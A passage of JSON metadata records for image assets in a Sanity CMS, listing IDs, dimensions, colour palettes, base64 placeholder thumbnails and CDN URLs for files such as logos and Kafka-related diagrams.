htMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b8b6b6","foreground":"#000","population":0.09,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bdbbbb","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7d7c7c","foreground":"#fff","population":0.33,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#817d7d","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"39b47b107be9fbe7df3d52beb036e3495f1a334f-750x246.png","path":"images/sczeoy4w/production/39b47b107be9fbe7df3d52beb036e3495f1a334f-750x246.png","sha1hash":"39b47b107be9fbe7df3d52beb036e3495f1a334f","size":13216,"uploadId":"a7qBb8oMqetsn7qV1oGa3hxYSPD1djxR","url":"https://cdn.sanity.io/images/sczeoy4w/production/39b47b107be9fbe7df3d52beb036e3495f1a334f-750x246.png"} {"_createdAt":"2024-03-22T14:17:05Z","_id":"image-39c2f5ac209997f9ee4f15ea03fe1f541bfa94f8-874x183-svg","_rev":"80Znsvx5FiXC5oBvpWFErm","_type":"sanity.imageAsset","_updatedAt":"2024-03-22T14:17:05Z","assetId":"39c2f5ac209997f9ee4f15ea03fe1f541bfa94f8","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"D009jvfQfQfQfQfQfQfQfQfQ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.775956284153006,"height":183,"width":874},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAYAAACOXx+WAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAoklEQVQYlS3Qu2oCYAxA4W8TBJGCxUsFpcULDgpSi9ipQrfSQXAQLyiCQikIOnQUZ+e+r/ySISSEQ3ISWOOKL2RRwxgNPGGBA96RQwWfwZSQxxuWMcsF/9gE/Io52igHeI7eMwb4wR7dYCb4jaX+cMIML+iFQREP+MYRU9TRxw7bGNjCKoRSfQeacWIBj6giE9HBR+T0ksQM45LEJaskM0q2N/DcExCZLxb5AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":99.34,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":99.34,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"arbox.svg","path":"images/sczeoy4w/production/39c2f5ac209997f9ee4f15ea03fe1f541bfa94f8-874x183.svg","sha1hash":"39c2f5ac209997f9ee4f15ea03fe1f541bfa94f8","size":1729,"uploadId":"5jsYgIn96zHxeX9eSwT7wJ2Wl9vYGp0x","url":"https://cdn.sanity.io/images/sczeoy4w/production/39c2f5ac209997f9ee4f15ea03fe1f541bfa94f8-874x183.svg"} {"_createdAt":"2022-06-14T14:41:07Z","_id":"image-39e612633486449c587814fa233be677e9ea3732-512x512-png","_rev":"qkpX9b3U0TpOGFQp8XG2L6","_type":"sanity.imageAsset","_updatedAt":"2022-06-14T14:41:07Z","assetId":"39e612633486449c587814fa233be677e9ea3732","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"ekLNrjay%#t7a0~qofbIofM{9Zj[ROWBoztRWBjFj[t7xvayRjj[Rj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":512,"width":512},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAIAAAAC64paAAAACXBIWXMAABJ0AAASdAHeZh94AAAEUklEQVQ4jVXSe1MTVxgG8P1GrTpSriGbzW52NzcIUOrUAoKVUYR6wYKCQATHOqigCGILKrYWsabFYLHR2CJTIRBy3SS7Z8/u2VuWmPZLdAKdznTm+ff3Pued92BbW7FoNJlIcBzH53JAAFAUpb3IUEIQIijJoigBUeIFMZsTOC6bSKa3o7HNyDa2vZ3YiaWSqWwmI+R4EYiyCGWOy26831xfX9/ciKRSaVGUJAn959PpTDyRikbjWDzBpVJZriQhL0giVHI8WAkGR4cv95/rGRu6NDc7825tDQAoIxVKCACYzQmpdCYeT2GlwpwolBiCkiLLaiSyNT420l5HnWqi+9qbLp1smb55PbKxqSgaUjQoIUEQM5lcMslhpd0gkmUVIU3TDEXRQqur/p7j450Ny+O9b+75F/zd45fOvFz+RZYVVTNK/VDO8SDNZTGENEXRNS2v66ZpFlRVDwZ+utbdujR0gnt2W1ieDU8P3Rs+F1h8AgDU9DxCqlQqh5ksj6mqoev5fH7XNAuFQlFT9dXnTyfOHPtx8MvN+auRh9dWb/U/vnrh16XvBR6oWh4pmiQrQJRyPMA07X9Y1/T1lcCTke4Xo6feTQ38OTv0x/TA69kr27/9jCDUdXP/5YIoZXMCpqr6vjcMM5/fNXQjthZ+dXckfPP8uzsDkW/90UejscAMjL03dMM0P+Tzu6qqAyhlcgKmKFrJ74/YC7cTff1gInTj/PrU4Mb94c15fzq0qEtgd/dDoVAsFIqGYUqyIgCIyUhBSEVIVRRNUVRNMzLJ5IvvJhb9J0OTfeGpvvDMYHptZTef35MfisW/TLNQuhmUMUlC8n5kBYpSNsOvh988un75ds+RBwMdi6Odwcmvo6GAJALdMAuFYrH4979YQljpGwOYzfI7O/Hwm/APC48nxkYmezseXGx9erVr5dbZV3f7n9/7ZvHxw1DoNZfmNE03DBPtXRvjeRCLJYLLL+7evjPY39fZ3tbW7Bs43vRk9HT4/tDavP/ZjfPD3W2dx1p6z56Zmpx4GQwm4gkAIBAhlkykA88D/Rd6P/+0scHjrHcyPhfT1uS93NUyM9wzPdwz0NXyRaO33sX63OyRpoazp7sezs1tbW3zPMDehn8f9fsb67xOyu5mqDonXe9i693sZ/XutmZfa7Ovud7tczvrnKybpljK7mWZr053LT1diieS2PzcfHtrK0XgDEm4aNLDOLysw8M6vE7a62S8TsbD0h6G3pMkQxK0nWio845duRIOv8Uu9vW7GKa6otxmqXEQOEvZXTTpokk3Q3lY2s04WIedIQm2xGwUgRPWWjtuPdHRsfBoAWtubKytrio7dLCi7LC1pooirAxpY0ib02F30iTrsNN2nCKsDgInbbW4pdpSVVlTWeHzeoYGBzHcUlNedvjQgY8PHviosrzMVltN4haKqKXtuGOPUYTVjlsIaw1uqaqu+KSi7HBleRlpw1uPHv0Hq1z20cWhVWMAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4e382a","foreground":"#fff","population":0.48,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#593c2a","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c69e84","foreground":"#000","population":8.9,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c69e84","foreground":"#000","population":8.9,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e0bda8","foreground":"#000","population":0.95,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a48464","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b37f60","foreground":"#fff","population":0.96,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"francesco.png","path":"images/sczeoy4w/production/39e612633486449c587814fa233be677e9ea3732-512x512.png","sha1hash":"39e612633486449c587814fa233be677e9ea3732","size":336600,"uploadId":"lDCTHbJWw6Me6niaZlb3yhmuaiNCZZ8F","url":"https://cdn.sanity.io/images/sczeoy4w/production/39e612633486449c587814fa233be677e9ea3732-512x512.png"} {"_createdAt":"2024-08-08T11:55:28Z","_id":"image-3a42b439e057fde17e87e0d917e6010817bb4307-1280x720-jpg","_rev":"5y7swPKAcYPWMoG0mupRbL","_type":"sanity.imageAsset","_updatedAt":"2024-08-08T11:55:28Z","assetId":"3a42b439e057fde17e87e0d917e6010817bb4307","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MFE2Y6}s_0%Mt-?c#j-oV[-9~Vs8RPn$S5","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":720,"width":1280},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAQGAv/EACMQAAICAgICAQUAAAAAAAAAAAECAwQABREhEhMGIjFRcbH/xAAVAQEBAAAAAAAAAAAAAAAAAAAEAP/EABsRAAICAwEAAAAAAAAAAAAAAAEDAAIEESET/9oADAMBAAIRAxEAPwCW+d7CxWlmaa3MkRc8Ffz+8hEsC1L9d62Se14Jy/2zmxqQs/DqydhhmJtXSp6qOzWrok3rA8uz/cZisCl2NB0RDmlmhcxXQ7GKpR9cuxmL+RJ8j39hhikMETwxs0aliOSeMMve56YIrn//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#572b4f","foreground":"#fff","population":5.72,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#040861","foreground":"#fff","population":3.39,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7378","foreground":"#fff","population":5.87,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bd9385","foreground":"#000","population":2.11,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bd675c","foreground":"#fff","population":1.26,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7f7378","foreground":"#fff","population":5.87,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cd5629","foreground":"#fff","population":4.27,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"podcast7-navigating-kafka.jpg","path":"images/sczeoy4w/production/3a42b439e057fde17e87e0d917e6010817bb4307-1280x720.jpg","sha1hash":"3a42b439e057fde17e87e0d917e6010817bb4307","size":144326,"uploadId":"L7xyaUt9cp1eSPFIg6owKbIAFApeRI0G","url":"https://cdn.sanity.io/images/sczeoy4w/production/3a42b439e057fde17e87e0d917e6010817bb4307-1280x720.jpg"} {"_createdAt":"2022-06-30T11:51:35Z","_id":"image-3a7f2dc4d57d7a10bdb9b73bb8602cb34cc62ab7-697x254-png","_rev":"cEPH2uRN58AU2lp9QO7n6f","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:19:24Z","assetId":"3a7f2dc4d57d7a10bdb9b73bb8602cb34cc62ab7","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D04n_LkED*-nS%EmWBM_jb%M","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.7440944881889764,"height":254,"width":697},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAIAAACHqfpvAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAvUlEQVQYlV2QAY4DMQgD9ymLbUhI0u3/f1eRvev1aiHFkcaAOEgCsK1zy8xI9p5zjDln730z9gPZ+Queh6R3+C2YAeAWtkQLBz/A7/A99svfb8hGqxb/w1RttInPcM1H1W162EpIN/gXpkgnQnBaVRm4kI0ZZZpzJa9Z341BdQQ7RGRodX+MttJn0+yewWx8Tn8MjsY14iqv1TWb0tmcTh4Ga6GRsdaYo2conELdJkQXBAuni6y9aixxEkbgBXxiOhwihGU0AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5b4930","foreground":"#fff","population":0.22,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c0c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#5b4930","foreground":"#fff","population":0.22,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b0aaa4","foreground":"#000","population":0.17,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cab763","foreground":"#000","population":0.11,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#926c58","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8a6f18","foreground":"#fff","population":0.08,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"3a7f2dc4d57d7a10bdb9b73bb8602cb34cc62ab7-697x254.png","path":"images/sczeoy4w/production/3a7f2dc4d57d7a10bdb9b73bb8602cb34cc62ab7-697x254.png","sha1hash":"3a7f2dc4d57d7a10bdb9b73bb8602cb34cc62ab7","size":9735,"uploadId":"UYxaOzv9FUfxMg9dahjrwj4UhnrvLPCa","url":"https://cdn.sanity.io/images/sczeoy4w/production/3a7f2dc4d57d7a10bdb9b73bb8602cb34cc62ab7-697x254.png"} {"_createdAt":"2024-03-13T12:50:38Z","_id":"image-3a867e63c3043cd90bff92e968b40c3b783c046e-391x202-png","_rev":"2QvLnXP36WAnQ13A3noSyE","_type":"sanity.imageAsset","_updatedAt":"2024-03-13T12:50:38Z","assetId":"3a867e63c3043cd90bff92e968b40c3b783c046e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MHCrm00+5t^Orp0O|.-5F4Rj$yJpwaS5nh","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9356435643564356,"height":202,"width":391},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACRElEQVQokZWRy0vUURTHv2dmcjAaTUNlDM2QfCRCFhSmWEYvbTJfkGmeq5mmPax8jVYoZGq/c64mgdg62rZx2aJdS5dFQRj6+w0VLfoTJn4+Vm3qwOfAgcvnfs+9wL8U6w5hsJaD9SJYTxNLCbGmESsRK3zwn8IgWHPBWgGWMmIpJdZCsOwBy9YZMr7ZH7YxukXzCpIe4CkwNHoOjYPtwPlPICMRMlJIRqJkJJtYDhNLPlh3bQo3245kO3bIOMDRJFrvX8WHmUysaRBn7vQALW+R2jWzO2CcoqBxDoW7ZvcGjZNHRsrAuo+M0F9Cn+QrIO/mBJCbRHIZ+L0ALD4+BiAJdCylgG0R2Fai88V+dC6mgbWIWH1p1F85j1jSiSUFLBlgzQwaJ1TcN4zJeA0SFmHPImtDEf1ukbU6F8mZnags7xlqqBocuVD6erIks6A3nktGKgNGavwVH9Hmr0kJWBvIaHPASAE6lsIHe+Ppb6aKy79K6ErCIuYqzrqKy2sSjH12wk1fnJRr60pVT+KnsnH9pZ/6uC9cAesUWG6A9SkZnSEjTeD54kj39ImB4fr21bnIwA+Lng3FXc8i7lm0JSy6PQvHs+j76KTmdz5szuh40HLAf7MFsI6BZRQsQ2R0hIz0g7U1ZJ7fqr7dN/D+WU7bz3l0byiNuYpxV9HrKkZdhbhbl5xMWJR+08ARX3gJrLVgrQdLNRmtJSNtYB0JGkcq+u8NvpuOxn7NI7auVOcpfLo8i3HPot+zaHQVda6i1rOo/gM/fucqgC+47AAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5c4637","foreground":"#fff","population":0.11,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#843c04","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f58806","foreground":"#000","population":0.3,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#955203","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fbc27d","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b28d65","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f58806","foreground":"#000","population":0.3,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-mysql.png","path":"images/sczeoy4w/production/3a867e63c3043cd90bff92e968b40c3b783c046e-391x202.png","sha1hash":"3a867e63c3043cd90bff92e968b40c3b783c046e","size":13007,"uploadId":"lxsjWGWWIWtFfzyDLce7REq95P98ryfT","url":"https://cdn.sanity.io/images/sczeoy4w/production/3a867e63c3043cd90bff92e968b40c3b783c046e-391x202.png"} {"_createdAt":"2023-09-01T15:47:01Z","_id":"image-3aa21c4a36f68b18d315df346deaa55576247f2e-2498x752-png","_rev":"61hKAW7KknaTboWXTHxPBp","_type":"sanity.imageAsset","_updatedAt":"2023-09-01T15:47:01Z","assetId":"3aa21c4a36f68b18d315df346deaa55576247f2e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DER:KQWUIq%MRk~qoxM|xtRk","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.3218085106382977,"height":752,"width":2498},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAABYlAAAWJQFJUiTwAAAA8ElEQVQYlY3QyWrFIBgF4Lz/m3XRVaHLXszNTRoTh98paoZTVC6llEIXHwdFj0M36gBBHsY4EDmQsdDOgJxBiAH7seM8z1+O4+lACBnzEvCYPDouCZocQkjYYq5iTEg5/1nWXLiuq6ZUCW/vGi+vAp2UGuuqoBSByEIX2oCosDDG1mzanHO+HZp2pJRBFNEPFh/Moitlff/A7XYHYwNYP9Zxcb+PGIapZtH3LaeJQwgNpQykpEqpctBWbmgwDByMlY0zxnHF5yzAucCyyB84L0R9USv6LtTawvsNnXURQnosq4NUAdbG9p/b/z3Xx5jxBSc6yxNiD0GkAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#424342","foreground":"#fff","population":0.12,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2e3c95","foreground":"#fff","population":0.06,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#afb1cb","foreground":"#000","population":0.31,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#afb1cb","foreground":"#000","population":0.31,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#96aef4","foreground":"#000","population":0.1,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#70a090","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3842c9","foreground":"#fff","population":0.09,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"3aa21c4a36f68b18d315df346deaa55576247f2e-2498x752.png","path":"images/sczeoy4w/production/3aa21c4a36f68b18d315df346deaa55576247f2e-2498x752.png","sha1hash":"3aa21c4a36f68b18d315df346deaa55576247f2e","size":180533,"uploadId":"GO0hrgYSNmnJAVqB5tjupVmrRlbKvXus","url":"https://cdn.sanity.io/images/sczeoy4w/production/3aa21c4a36f68b18d315df346deaa55576247f2e-2498x752.png"} {"_createdAt":"2023-06-16T14:56:23Z","_id":"image-3b41b4dd0630e221a67bbf20c117dd9bb9ec76d7-1440x367-svg","_rev":"FJE9FJz5NeK3Yo2P5S79Un","_type":"sanity.imageAsset","_updatedAt":"2023-06-16T14:56:23Z","assetId":"3b41b4dd0630e221a67bbf20c117dd9bb9ec76d7","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"DCSF^j%M4@%Mj??dxXs,oeR+","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.923705722070845,"height":367,"width":1440},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAFABQDASIAAhEBAxEB/8QAFwABAAMAAAAAAAAAAAAAAAAAAAMECP/EABwQAAEEAwEAAAAAAAAAAAAAAAABAgMREiExUf/EABYBAQEBAAAAAAAAAAAAAAAAAAIBA//EABgRAQEAAwAAAAAAAAAAAAAAAAABAhEh/9oADAMBAAIRAxEAPwDTsG5cV5Vk72NwXQBplepFNY23foAHui//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#133185","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#112a73","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e4eafb","foreground":"#000","population":6.79,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b7b7d8","foreground":"#000","population":0.09,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e4eafb","foreground":"#000","population":6.79,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#133185","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2052de","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"bg-light-blue-pattern.svg","path":"images/sczeoy4w/production/3b41b4dd0630e221a67bbf20c117dd9bb9ec76d7-1440x367.svg","sha1hash":"3b41b4dd0630e221a67bbf20c117dd9bb9ec76d7","size":6108,"uploadId":"VNhpLFlaww7B8s2gkwHf5vvMdg93drdi","url":"https://cdn.sanity.io/images/sczeoy4w/production/3b41b4dd0630e221a67bbf20c117dd9bb9ec76d7-1440x367.svg"} {"_createdAt":"2024-07-15T11:58:15Z","_id":"image-3b5c2eab54901c9b1a0e9501a3177ad6e02c7362-24x24-svg","_rev":"L2VX8UNy1a0yGsFTNXJWh9","_type":"sanity.imageAsset","_updatedAt":"2024-07-15T11:58:15Z","assetId":"3b5c2eab54901c9b1a0e9501a3177ad6e02c7362","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"e5RQmUxE0lw_0+,=jtjtjtw_0SNc0+Nv1eWpazE$a|Nc12oKJ9oK}C","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAACsklEQVQ4jYVVO0+VURAc8BJeaqUkJFKIjYk9JFR2lnANDxt83D0XOq42xB9gqJXCRKK1hAKC0oqCRrTBX4A/ZcfM2UUJohSbu5yzO9+e2d0BfAjwKeAtgDID3NBFwwgNY67fR4Cs+oYx3dWY4/gCcC1iwNcAHwAuv41uGnppuELDHA0vaLhHw5DMw9fZnBuuuGILuv0WwHmAbwQi9Nv1t4cFo26YpGGZhnc0/KRhh4ZnaTt5tu0RM6kcttFDRKW1ZH2FhlEaHrthk4ZdGr6y4JAF31iw54a96hsO613EbLKgw4LrifEbUM9UZZtu2HDDEg3TNEylNd3QPPH3dMZsVFDlttBbOfRWbYA4W86vdmi4yhYuiE83DLCEyRdvHnfiteORs5wYXapwJBsgXvSUGbbQoOEyDRM0zLNgsZp8w4Trro0GC2by+duJMaJRGKdh1YNs8dNkC30eYGs0fGHB52ry42yCBX0saFaeI3eVhnFVeI2GWTe8p1XSxdFAViOAtyxYqiY/znQnGqayUcqdFZaGucsNwzSsMDrZTMBFN+xX8gsuyrIR+7pLwGbtfuQOCwtJ7h0a1r3goH7VMOj/AdSdYrLCAzesC8MNQ+JQq/SchiMafuT4CPC8JwtwMnOOEmNMFd6gYSHb/z2bork8rylau7vKydwFYQmwkaOz4oZPldyYs3+Oje48xmaWho/JoZrb0JMFeomGJzR88BjsofxQbzbopOmsIb5yCXa1somRklXQn93dynXqnF49nlq9usOKLdjymMd+YcUuS7ZiwRVUxcFPiUMViPDPFof2sThIvgYraJWv7Jx2U+t0pnx53B3Ll8B6eDOwQmnvA9KzKkGhPBLPvwQ2/SqwKQYhsMqVwL6UI3kXqCqNBh1vzx+5l/wrLqS/nilGnNWmKvdV/Av4BbuuqYum+Ij9AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#64543c","foreground":"#fff","population":0.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5f0504","foreground":"#fff","population":3.65,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ef620e","foreground":"#fff","population":11.46,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#743b24","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cc7c5c","foreground":"#fff","population":0.35,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b58261","foreground":"#fff","population":1.91,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ef620e","foreground":"#fff","population":11.46,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-cpu-chip.svg","path":"images/sczeoy4w/production/3b5c2eab54901c9b1a0e9501a3177ad6e02c7362-24x24.svg","sha1hash":"3b5c2eab54901c9b1a0e9501a3177ad6e02c7362","size":1204,"uploadId":"Ns4H57MDpyjbQZCAciGNYSpg7LC6KGny","url":"https://cdn.sanity.io/images/sczeoy4w/production/3b5c2eab54901c9b1a0e9501a3177ad6e02c7362-24x24.svg"} {"_createdAt":"2023-03-30T17:02:24Z","_id":"image-3b63fd6e0e87fedf70bb882c7cd6c06a27225112-1364x760-png","_rev":"IfootSjA4c56MZIbwJ5waC","_type":"sanity.imageAsset","_updatedAt":"2023-03-30T17:02:24Z","assetId":"3b63fd6e0e87fedf70bb882c7cd6c06a27225112","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7947368421052632,"height":760,"width":1364},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAABJUlEQVQokW1S2WoDMQz0//9UvqCPPZ5KaNpQSEI3WUnWZbfI2iwb6CCMbGs046Mcd6+Hl/3n1/EyXWYGYLjVeUaoUt2tuasoUSWqzIyIRMTMRISA5fpxnk4/19sNCIiJmLBSlNSqIk3UqnDlGtyAihiLnKd6+C7CIiyqambmPiLSmJl187YseaK31oD0bV93T6Ut6L333w1iOqL3qHf3LIotVjue5Pm9bDn9P7TWzEzCnLoPkdZczVnK2rL3nsYW03ejmSfZxmoYGZzCLCLqjxjnDbKqxrZqlsm9xRi8IFI+gIjEfQyfK1QtaWPMPoHMgjzPAAC1cpK3SM1VeZVdyAA4z4CIIprXnnEnh/KW/KA8TbdpuiKimW09jzyVeWNbMonfovoHlt6Cz66nR98AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3c3c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ad366d","foreground":"#fff","population":0.07,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ad366d","foreground":"#fff","population":0.07,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acc4b0","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fca0dc","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#718c6e","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d50a3c","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"kafka-migrate-replicated-topics.png","path":"images/sczeoy4w/production/3b63fd6e0e87fedf70bb882c7cd6c06a27225112-1364x760.png","sha1hash":"3b63fd6e0e87fedf70bb882c7cd6c06a27225112","size":36927,"uploadId":"y5uC7ajcaEsFRHwb94s2bDRzqs1DXejI","url":"https://cdn.sanity.io/images/sczeoy4w/production/3b63fd6e0e87fedf70bb882c7cd6c06a27225112-1364x760.png"} 